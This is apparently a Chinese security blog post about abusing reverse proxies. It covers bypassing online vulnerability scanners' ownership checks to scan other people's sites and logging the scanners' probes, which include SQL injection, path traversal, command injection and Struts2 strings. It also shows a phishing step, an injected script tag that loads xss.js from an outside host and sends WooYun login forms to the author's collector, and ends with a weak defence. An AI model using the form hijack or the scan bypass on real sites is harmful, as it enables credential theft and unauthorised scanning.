0x00 简介
首先请各位客官看这里:http://viptest.yupage.com
这便是一个使用开源程序7ghost搭建的反向代理演示站。
反向代理,是指反向代理服务器从目标内容服务器上抓取内容返回给用户,反向代理服务器充当了一个中介的功能,它本身是没有任何内容的。整个流程如下:
整个流程非常简单,只需要负责映射请求的.htaccess和负责抓取内容的index.php就可完成,中间还可以通过正则表达式等实现内容和网址的替换。
这种技术还广泛运用于小偷程序中。
0x01 用反向代理让漏洞检测平台帮我们扫漏洞
现在有一些在线漏洞检测平台(如360 安全宝等),都能让我们对目标网站的安全状况有一个初步的了解。但是,这些漏洞检测平台都是需要验证所有权的,那么,我们能不能绕过这个限制呢?反向代理能解决这个问题。
首先,使用设置好反向代理的目标(如wooyun.org),然后将我们配置好了反向代理程序的网址输入到漏洞检测平台,选取代码验证方式,在我们的核心中转页面(index.php)中插入这段代码,就能够通过漏洞扫描平台的验证,扫目标站的漏洞了。
0x02 搭建一个“蜜罐”来抓取漏洞扫描平台的扫描语句
各个在线漏洞扫描平台都看上去非常高端洋气国际化的样子,那么,它们是怎么扫描的呢?可以使用反向代理来抓扫描语句。
首先,在index.php核心中转文件中加入一段代码,将所有请求记录到log.txt中
$data = $_SERVER['REQUEST_URI'] . "\n";
if ($_POST) {
foreach ($_POST as $key => $value) {
$data.= "$key=$value" . '\n';
}
}
file_put_contents("log.txt", $data, FILE_APPEND);
然后将搭建好的“蜜罐”丢给360漏洞扫描平台扫描,大约1个小时后,去看看log.txt,已经记录下了上千条扫描日志,由于日志太长,无法全部贴上来,选取几条有代表性的贴上来,并注释了一下可能的用途,全部日志请在http://viptest.yupage.com/log.txt查看。
/index.php 用蜘蛛从主页层层抓取页面
/akjkl678686hjhjk/ 抓取404页面标识
/admin/ 扫描后台地址
/backup/ 找备份
/bugs/new_confirm/phpmyadmin/ 找phpmyadmin空口令
/crossdomain.xml 看有没有flash跨域限制
/bugs/new_submit/fckeditor/upload/ 找有漏洞的编辑器
/examples/jsp/cal/cal2.jsp?time= 检测XSS
/job.php?action=list%27and%28123%29%3D%27321 扫描SQL注射
/?&redirect:%25{13579246-1} 扫Struts2
/bugs/phpinfo.php 扫phpinfo
/job.php?action=../../../../../../../../../../../../boot.ini%00.htm 扫任意文件读取
/user.php?action=login%7Cping+-n+12+127.0.0.1 扫命令执行
除此之外,还大量扫描了一些不存在的页面,如/bugs/new_unclaimed/fckeditor/ajkljlhjh/,不知道有何用意。
0x03 钓鱼
由于所有经过反向代理服务器的页面都可以控制,所以我们也可以利用此进行钓鱼。请各位看这里:http://viptest.yupage.com/user.php?action=login
我使用正则表达式在该页面中插入了一段这样的代码
<script src="http://pujun.li/xss.js"></script><script>xss.xform(document.forms[1],'http://vip.yupage.com/wy.php');</script>
使用了长短短的表单劫持代码,这样如果用户在我的演示站登录乌云帐号时就会自动把乌云帐号发送到我的一个接受页面,而还是能正常登录的。除此之外,由于所有经过反向代理服务器的页面都可以控制,我们还可以做很多事,如在页面中动态插入一个xsser.me盗cookies等。
0x04 如何防止被反向代理
看完了反向代理的危害后,如何防止自己的站被反向代理呢?有一段代码能够较好地防止被反向代理
.htaccess:
RewriteEngine On RewriteBase / php_value auto_append_file proxy.php proxy.php:
<?php
if ((getenv("HTTP_X_FORWARDED_FOR")!="")&&($getenv("HTTP_HOST")!="wooyun.org")){
exit();
}
?>
实际上XFF头完全可以伪造,此方法并不能完全防御住~